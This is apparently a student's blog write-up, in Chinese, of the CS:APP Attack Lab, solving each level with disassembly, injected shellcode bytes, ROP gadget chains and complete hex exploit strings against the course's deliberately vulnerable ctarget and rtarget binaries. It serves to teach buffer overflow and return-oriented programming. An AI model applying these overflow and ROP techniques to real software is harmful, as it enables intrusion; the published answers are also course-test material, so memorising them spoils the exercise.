这个实验非常有意思,了解一下缓冲区溢出相关的知识就可以开始了。
! ^_^ !
文件信息:
argetk中的文件包括:
README.txt:描述目录内容的文件
ctarget:易受代码注入攻击的可执行程序
rtarget:易受面向返回编程攻击的可执行程序
cookie.txt:8位十六进制代码,您将在攻击中使用它作为唯一标识符。
farm.c:目标“gadget farm”的源代码,您将使用它生成面向返回的编程攻击。
hex2raw:生成攻击字符串的实用程序。
《深入理解计算机系统》实验三Attack Lab下载和官方文档机翻_Addyz的博客-CSDN博客
看官方文档说是要以csapp3.10.3–3.10.4作为参考,这两个小节主要讲了缓冲区溢出和保护机制。
缓冲区溢出:
对抗缓冲区溢出攻击:
栈随机化:
栈的位置每次运行都有变化,因此很多地址不能确定,代码不能实现跳转。实现的方法是在程序开始时,在栈上分配一段0~n字节之间随机大小的空间。
金丝雀值(canary):
在栈的缓冲区开始的位置填充一个值,每次函数调用这个数值要和数据段中的一个不可更改的值进行比较,一旦发生缓冲区溢出,cannary值就会发生变化,从而结束程序。
限制可执行代码区域:
栈空间被设置为不可执行属性,所以不能直接在输入的字符中创建shellcode,要通过rop才能实行攻击。
实验部分1代码注入攻击:
Level1:
test 调用完getbuf,使getbuf 返回执行touch1 而不是返回test 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| unsigned getbuf() { char buf[BUFFER_SIZE]; Gets(buf); return 1; } void test() { int val; val = getbuf(); printf("No exploit.Getbuf returned 0x%x\n",val); }
void touch1() { vlevel=1; printf("Touch1!:You called touch1()\n"); exit(0); }
|
对应的汇编内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| 00000000004017a8 <getbuf>: 4017a8: 48 83 ec 28 sub $0x28,%rsp 4017ac: 48 89 e7 mov %rsp,%rdi 4017af: e8 8c 02 00 00 call 401a40 <Gets> 4017b4: b8 01 00 00 00 mov $0x1,%eax 4017b9: 48 83 c4 28 add $0x28,%rsp 4017bd: c3 ret 4017be: 90 nop 4017bf: 90 nop 0000000000401968 <test>: 401968: 48 83 ec 08 sub $0x8,%rsp 40196c: b8 00 00 00 00 mov $0x0,%eax 401971: e8 32 fe ff ff call 4017a8 <getbuf> # push IP ; jmp getbuf 401976: 89 c2 mov %eax,%edx 401978: be 88 31 40 00 mov $0x403188,%esi 40197d: bf 01 00 00 00 mov $0x1,%edi 401982: b8 00 00 00 00 mov $0x0,%eax 401987: e8 64 f4 ff ff call 400df0 <__printf_chk@plt> 40198c: 48 83 c4 08 add $0x8,%rsp 401990: c3 ret 401991: 90 nop 00000000004017c0 <touch1>: 4017c0: 48 83 ec 08 sub $0x8,%rsp 4017c4: c7 05 0e 2d 20 00 01 movl $0x1,0x202d0e(%rip) # 6044dc <vlevel> 4017cb: 00 00 00 4017ce: bf c5 30 40 00 mov $0x4030c5,%edi 4017d3: e8 e8 f4 ff ff call 400cc0 <puts@plt> 4017d8: bf 01 00 00 00 mov $0x1,%edi 4017dd: e8 ab 04 00 00 call 401c8d <validate> 4017e2: bf 00 00 00 00 mov $0x0,%edi 4017e7: e8 54 f6 ff ff call 400e40 <exit@plt>
|
我们只要确定存放返回地址的位置,将其覆盖成4017c0即可。可以看到调用getbuf之后,sub $0x28,%rsp,创建了0x28字节的缓冲区域,返回地址位于栈底,第一个字符距离栈底28个字节,我们只要输入一串长度为32字节的字符,前二十八个任意填充,后四个按照小端序填充touch1的地址c0 17 40 00即可。
1 2 3 4 5 6
| 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 17 40 00
|

正确的姿势是将16进制数据写入flag1.txt然后使用题目中给出的16进制转字符串工具>flag01.txt,然后将flag01.txt作为参数传入。
1
| ./hex2raw < flag1.txt > input1.txt
|
注意这里的< 和 >不是括号,而是指向,将flag1.txt传入hex,其输出结果写入input1.txt
1
| ./ctarget -q -i flag01.txt
|
- -q选项是不连接网络 (不加此选项会报错)
- -i 是 以文件作为输入
Level2:
test调用getbuf,并返回touch2,和level1的不同在于touch2需要参数,函数的第一个参数是存放在rdi寄存器中的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| unsigned getbuf() { char buf[BUFFER_SIZE]; Gets(buf); return 1; }
void test() { int val; val = getbuf(); printf("No exploit.Getbuf returned 0x%x\n",val); }
void touch2(unsigned val) { vlevel=2; if (val==cookie) { printf("Touch2!:You called touche2(0x%.8x)",val); validate(2); } else { printf("Misfire:You called touch2(0x%.8x)\n",val); fail(2); } exit(0); }
|
对应的汇编内容:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| 00000000004017a8 <getbuf>: 4017a8: 48 83 ec 28 sub $0x28,%rsp 4017ac: 48 89 e7 mov %rsp,%rdi 4017af: e8 8c 02 00 00 call 401a40 <Gets> 4017b4: b8 01 00 00 00 mov $0x1,%eax 4017b9: 48 83 c4 28 add $0x28,%rsp 4017bd: c3 ret 4017be: 90 nop 4017bf: 90 nop 0000000000401968 <test>: 401968: 48 83 ec 08 sub $0x8,%rsp 40196c: b8 00 00 00 00 mov $0x0,%eax 401971: e8 32 fe ff ff call 4017a8 <getbuf> # push IP ; jmp getbuf 401976: 89 c2 mov %eax,%edx 401978: be 88 31 40 00 mov $0x403188,%esi 40197d: bf 01 00 00 00 mov $0x1,%edi 401982: b8 00 00 00 00 mov $0x0,%eax 401987: e8 64 f4 ff ff call 400df0 <__printf_chk@plt> 40198c: 48 83 c4 08 add $0x8,%rsp 401990: c3 ret 401991: 90 nop 00000000004017ec <touch2>: 4017ec: 48 83 ec 08 sub $0x8,%rsp 4017f0: 89 fa mov %edi,%edx 4017f2: c7 05 e0 2c 20 00 02 movl $0x2,0x202ce0(%rip) # 6044dc <vlevel> vlevel=2; 4017f9: 00 00 00 4017fc: 3b 3d e2 2c 20 00 cmp 0x202ce2(%rip),%edi # 6044e4 <cookie> if(val==cookie) 401802: 75 20 jne 401824 <touch2+0x38> 401804: be e8 30 40 00 mov $0x4030e8,%esi 401809: bf 01 00 00 00 mov $0x1,%edi 40180e: b8 00 00 00 00 mov $0x0,%eax 401813: e8 d8 f5 ff ff call 400df0 <__printf_chk@plt> 401818: bf 02 00 00 00 mov $0x2,%edi 40181d: e8 6b 04 00 00 call 401c8d <validate> 401822: eb 1e jmp 401842 <touch2+0x56> 401824: be 10 31 40 00 mov $0x403110,%esi 401829: bf 01 00 00 00 mov $0x1,%edi 40182e: b8 00 00 00 00 mov $0x0,%eax 401833: e8 b8 f5 ff ff call 400df0 <__printf_chk@plt> 401838: bf 02 00 00 00 mov $0x2,%edi 40183d: e8 0d 05 00 00 call 401d4f <fail> 401842: bf 00 00 00 00 mov $0x0,%edi 401847: e8 f4 f5 ff ff call 400e40 <exit@plt>
|
首先还是在保存返回地址的地方填充touch2的地址,接下来的难点在于如何将cookie填充到rdi中
1
| cmp 0x202ce2(%rip),%edi # if(val==cookie)
|
cookie的值储存在相对rip偏移0x202ce2的位置。思路: 仍然填充44个字节,最后四个字节填充我们编写的shellcode的地址,通过执行shellcode,rdi填充了cookie,并将touch2的地址pop进了栈,最后ret回到touch2。ret指令相当于pop ip,我们64位机器使用retq。

使用gdb进行调试,b getbuf
将断点设在getbuf函数,查看栈的地址,减去0x28之后,栈顶的地址是0x5561dc78。这是我们填充的数据
1 2 3 4 5 6
| mov 0x59b997fa,%edi push touch2_address retq xxxxxxxxxxx xxxxxxxxxxx return_address
|
有一点要注意,栈是从高地址向低地址增长,而代码是从低地址往高地址执行所以填充之后栈空间应该是这样
接下来是得到相应的字节码,首先用gcc进行汇编操作得到.o后缀的目标文件,然后用odjdump进行反汇编即可。
1 2 3
| 0: bf fa 97 b9 59 mov $0x59b997fa,%edi 5: 68 ec 17 40 00 push $0x4017ec c: c3 ret
|
1 2 3 4 5 6
| bf fa 97 b9 59 68 ec 17 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55
|

成功,中间犯了一个小错误,将push $0x4017ec
写成了push 0x4017ec
,其中前者代表的是立即数,后者则代表的内存地址处的值。
Level3:
还是test调用完getbuf之后不返回test,而是执行touch3,touch3需要接收参数cookie,touch3中还调用了hexmatch函数,要传递两个参数。
思路: 不能直接ret到touch3中,应该像上一个挑战一样,先跳转到我们的shellcode,shellcode完成参数的传递以及ret到touch3。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| unsigned getbuf() { char buf[BUFFER_SIZE]; Gets(buf); return 1; }
void test() { int val; val = getbuf(); printf("No exploit.Getbuf returned 0x%x\n",val); }
int hexmatch(unsigned val,char *sval) { char cbuf[110]; char* s=cbuf+random()%100; sprintf(s,"%.8x",val); return strncmp(sval,s,9)==0; }
void touch3(char* sval) { vlevel=3; if(hexmatch(cookie,sval)){ printf("Touch3!:You called touch3(\"%s\")\n,sval"); calidate(3); }else{ printf("Misfire:You called touch3(\"%s\")\n,sval"); fail(3); } exit(0); }
|
汇编代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102
| 00000000004017a8 <getbuf>: 4017a8: 48 83 ec 28 sub $0x28,%rsp 4017ac: 48 89 e7 mov %rsp,%rdi 4017af: e8 8c 02 00 00 call 401a40 <Gets> 4017b4: b8 01 00 00 00 mov $0x1,%eax 4017b9: 48 83 c4 28 add $0x28,%rsp 4017bd: c3 ret 4017be: 90 nop 4017bf: 90 nop 0000000000401968 <test>: 401968: 48 83 ec 08 sub $0x8,%rsp 40196c: b8 00 00 00 00 mov $0x0,%eax 401971: e8 32 fe ff ff call 4017a8 <getbuf> # push IP ; jmp getbuf 401976: 89 c2 mov %eax,%edx 401978: be 88 31 40 00 mov $0x403188,%esi 40197d: bf 01 00 00 00 mov $0x1,%edi 401982: b8 00 00 00 00 mov $0x0,%eax 401987: e8 64 f4 ff ff call 400df0 <__printf_chk@plt> 40198c: 48 83 c4 08 add $0x8,%rsp 401990: c3 ret 401991: 90 nop 000000000040184c <hexmatch>: 40184c: 41 54 push %r12 40184e: 55 push %rbp 40184f: 53 push %rbx 401850: 48 83 c4 80 add $0xffffffffffffff80,%rsp #-128 401854: 41 89 fc mov %edi,%r12d 401857: 48 89 f5 mov %rsi,%rbp 40185a: 64 48 8b 04 25 28 00 mov %fs:0x28,%rax 401861: 00 00 401863: 48 89 44 24 78 mov %rax,0x78(%rsp) 401868: 31 c0 xor %eax,%eax 40186a: e8 41 f5 ff ff call 400db0 <random@plt> 40186f: 48 89 c1 mov %rax,%rcx 401872: 48 ba 0b d7 a3 70 3d movabs $0xa3d70a3d70a3d70b,%rdx 401879: 0a d7 a3 40187c: 48 f7 ea imul %rdx 40187f: 48 01 ca add %rcx,%rdx 401882: 48 c1 fa 06 sar $0x6,%rdx 401886: 48 89 c8 mov %rcx,%rax 401889: 48 c1 f8 3f sar $0x3f,%rax 40188d: 48 29 c2 sub %rax,%rdx 401890: 48 8d 04 92 lea (%rdx,%rdx,4),%rax 401894: 48 8d 04 80 lea (%rax,%rax,4),%rax 401898: 48 c1 e0 02 shl $0x2,%rax 40189c: 48 29 c1 sub %rax,%rcx 40189f: 48 8d 1c 0c lea (%rsp,%rcx,1),%rbx 4018a3: 45 89 e0 mov %r12d,%r8d 4018a6: b9 e2 30 40 00 mov $0x4030e2,%ecx 4018ab: 48 c7 c2 ff ff ff ff mov $0xffffffffffffffff,%rdx 4018b2: be 01 00 00 00 mov $0x1,%esi 4018b7: 48 89 df mov %rbx,%rdi 4018ba: b8 00 00 00 00 mov $0x0,%eax 4018bf: e8 ac f5 ff ff call 400e70 <__sprintf_chk@plt> 4018c4: ba 09 00 00 00 mov $0x9,%edx 4018c9: 48 89 de mov %rbx,%rsi 4018cc: 48 89 ef mov %rbp,%rdi 4018cf: e8 cc f3 ff ff call 400ca0 <strncmp@plt> 4018d4: 85 c0 test %eax,%eax 4018d6: 0f 94 c0 sete %al 4018d9: 0f b6 c0 movzbl %al,%eax 4018dc: 48 8b 74 24 78 mov 0x78(%rsp),%rsi 4018e1: 64 48 33 34 25 28 00 xor %fs:0x28,%rsi 4018e8: 00 00 4018ea: 74 05 je 4018f1 <hexmatch+0xa5> 4018ec: e8 ef f3 ff ff call 400ce0 <__stack_chk_fail@plt> 4018f1: 48 83 ec 80 sub $0xffffffffffffff80,%rsp 4018f5: 5b pop %rbx 4018f6: 5d pop %rbp 4018f7: 41 5c pop %r12 4018f9: c3 ret
00000000004018fa <touch3>: 4018fa: 53 push %rbx 4018fb: 48 89 fb mov %rdi,%rbx #将rdi里的参数复制到rbx 4018fe: c7 05 d4 2b 20 00 03 movl $0x3,0x202bd4(%rip) # 6044dc <vlevel> 401905: 00 00 00 401908: 48 89 fe mov %rdi,%rsi #参数sval 40190b: 8b 3d d3 2b 20 00 mov 0x202bd3(%rip),%edi # 6044e4 <cookie> 401911: e8 36 ff ff ff call 40184c <hexmatch> 401916: 85 c0 test %eax,%eax 401918: 74 23 je 40193d <touch3+0x43> 40191a: 48 89 da mov %rbx,%rdx 40191d: be 38 31 40 00 mov $0x403138,%esi 401922: bf 01 00 00 00 mov $0x1,%edi 401927: b8 00 00 00 00 mov $0x0,%eax 40192c: e8 bf f4 ff ff call 400df0 <__printf_chk@plt> 401931: bf 03 00 00 00 mov $0x3,%edi 401936: e8 52 03 00 00 call 401c8d <validate> 40193b: eb 21 jmp 40195e <touch3+0x64> 40193d: 48 89 da mov %rbx,%rdx 401940: be 60 31 40 00 mov $0x403160,%esi 401945: bf 01 00 00 00 mov $0x1,%edi 40194a: b8 00 00 00 00 mov $0x0,%eax 40194f: e8 9c f4 ff ff call 400df0 <__printf_chk@plt> 401954: bf 03 00 00 00 mov $0x3,%edi 401959: e8 f1 03 00 00 call 401d4f <fail> 40195e: bf 00 00 00 00 mov $0x0,%edi 401963: e8 d8 f4 ff ff call 400e40 <exit@plt>
|
首先调用touch3之前,要确保rdi中有指针,注意参数类型是char*而上一个挑战 void touch2(unsigned val)
参数是一个无符号整型,所以这一次我们还要创建一个字符串被rdi中的指针所指。字符串是“59b997fa”,我们将字符串的ascii输入。
1 2 3 4
| db "59b997fa",0 mov %sval_address ,%rdi push %touch3_address ret
|
字符串是以**’\0’**结尾的,其ascii是0,检测到0计算机就是到字符串结束了。我们只要将字符串的首地址放入寄存器rdi即可。题目描述中还提到
可以看到在调用了hexmatch之后,连续push了三次
所以临近返回地址的地方不要存放数据。
1 2 3
| 0: 48 c7 c7 78 dc 61 55 mov $0x5561dc78,%rdi 7: 68 fa 18 40 00 push $0x4018fa c: c3 ret
|
所以:
1 2 3 4 5 6
| 35 39 62 39 39 37 66 61 00 48 c7 c7 78 dc 61 55 68 fa 18 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 81 dc 61 55
|
注意,最后的四字节的地址不再是栈顶的位置,因为我们的字符串是存放在栈顶的,ret到栈顶程序不会向下执行,我们要ret到mov指令的地址。81=78+9

失败了,猜测应该还是被hexmatch和strcmp压入的数据覆盖了,参考了一下,原来还可以将字符串放置在第44个字节后面,即test的栈帧中,因为我们不在返回test所以覆盖那里也没什么影响。
1 2 3
| 0: 48 c7 c7 a8 dc 61 55 mov $0x5561dca8,%rdi 7: 68 fa 18 40 00 push $0x4018fa c: c3 ret
|
1 2 3 4 5 6 7
| 48 c7 c7 a8 dc 61 55 68 fa 18 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 00 00 00 00 35 39 62 39 39 37 66 61 00
|
注意不能直接跟在44字节后面,因为64位机器ret指令相当于pop八个字节,pop之后rsp+8,所以字符串要在返回地址八个字节之后.0x5561dca8=0x5561dc78+0x2c(48字节)。

成功!!!
实验部分2面向返回的编程:
这一部分难度增加,上一部分挑战栈既没有随机化也没有不可执行的内存标记。栈空间被标记为不可执行区域,所以我们不再能使用注入的shellcode。接下来的挑战要用到ROP ( Return-oriented Programming )即面向返回的编程。
ROP原理:

我们注入的内容被划分为一个个gadget,其实是一个个地址,gatcode有一个显著的特点,即最后一字节内容为c3即ret的机器码,这样一个个gatget就有ret指令连接了起来。既然栈内空间不可执行,那么这个地址要指向哪里呢?答案是程序现有的代码段,举例来说
这是一个函数,看起来没什么特别,也没有什么攻击性,但是转化为它的机器级表示
其中 48 89 c7
是 mov %rax,rdi
的机器码,我们只要在返回地址处填充0x400f18(起始地址400f15往后三个字节)即可执行mov %rax,rdi
并且由ret弹出栈内的下一个地址继续操作。PDF给出了几张供我们参考攻击的表



好,接下来开搞。!!!
Level4:
这个挑战和2要达到相同的目的,即test在调用完getbuf之后返回执行touch2,执行touch2之前要往%rdi中传递参数cookie。在level2中我们直接在栈中注入了mov cookie,%rdi
的机器码,这次挑战我们只能利用现有的代码执行。
分为两步,cookie在我们注入的字符串中,要通过pop指令将cookie弹到rdi中,对应的机器码是 5f
,可惜的是在给出的gadget中并没有5f,所以我们只能先将cookie弹到一个寄存器,再将这个寄存器的值复制到%rdi中

48 89 c7
对应 mov %rax,%rdi
,地址是0x4019a2

58 90 c3
对应 popq %rax ; nop ; ret
。地址0x4019ab。接下来就该考虑注入的顺序了。
touch2的地址:0x4017ec。cookie的值0x59b997fa

1 2 3 4 5 6 7 8 9
| 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ab 19 40 00 00 00 00 00 fa 97 b9 59 00 00 00 00 a2 19 40 00 00 00 00 00 ec 17 40 00 00 00 00 00
|

脑子抽了一直用上一个题目测试答案显示失败。。。
Level5:
使用ROP完成level3。这是shellcode实现的操作:
1 2 3 4
| db "59b997fa",0 mov %sval_address ,%rdi push %touch3_address ret
|
首先将字符串“35 39 62 39 39 37 66 61 0a 00”入栈,然后将其首地址pop到一个寄存器,然后复制到%edi,然后调用touch3,要考虑到hexmatch和strcmp对栈的影响。由于栈随机化的原因,我们不能直接获得字符串的地址,但是可以通过movl %esp,xxx
指令得到当前的栈顶地址,计算出字符串的地址。movl以寄存器作为目的时会把高四个字节设置为0.

只有一个选择 48 89 e0
即 mov %rsp,%rax
(或许89 e0),栈顶地址被放入%eax中,地址0x401a07。。。思考了良久之后,我发现无解了,因为仅靠寄存器之间的mov指令和pop指令不可能增加某个寄存器的值,所以我们放入%eax中的值不能发生变化,这显然不可能。
看了提示之后才恍然大悟,题目并没有局限在mov,movl,popq指令之间,在提供的rop指令中存在大量的lea指令,之前学习过lea指令,加载有效地址,同时它可以进行四则混合运算,在这里我们需要他的加运算。

检索了全部lea相关的指令,发现只有一个能够使用(其他都是lea -0x6fa78caf(%rdi),%eax格式,即将%rdi加上一个立即数赋值给%eax)。lea (%rdi,%rsi,1),%rax
的作用是rax=rdi+rsi*1,有了这条指令的帮助我们就可以变更栈中存放的地址。
只要按照这个思路,计算出X的值即可,实际操作过程中发现没有pop %rsi
以及许多相关指令,最终只能用 pop %rax ; mov eax,edx ; mov edx,ecx; mov ecx,esi
这四条指令来代替。
pop %rax;ret
地址:0x4019ab
mov eax,edx;ret
地址:0x401a42
mov edx,ecx;ret
地址:0x401a69
mov ecx,esi;ret
地址:0x401a13
mov rsp,rax
地址:0x401aad
mov rax,rdi
地址:0x4019a2
lea (%rdi,%rsi,1),%rax
地址:0x4019d6
mov rax,rdi
地址:0x4019a2

通过计算,执行mov rsp,rdi的时候rsp的值是48,cookie相对它32个字节即0x20
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ab 19 40 00 00 00 00 00 20 00 00 00 00 00 00 00 42 1a 40 00 00 00 00 00 69 1a 40 00 00 00 00 00 13 1a 40 00 00 00 00 00 ad 1a 40 00 00 00 00 00 a2 19 40 00 00 00 00 00 d6 19 40 00 00 00 00 00 a2 19 40 00 00 00 00 00 fa 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61 00
|

over,学到了很多^_^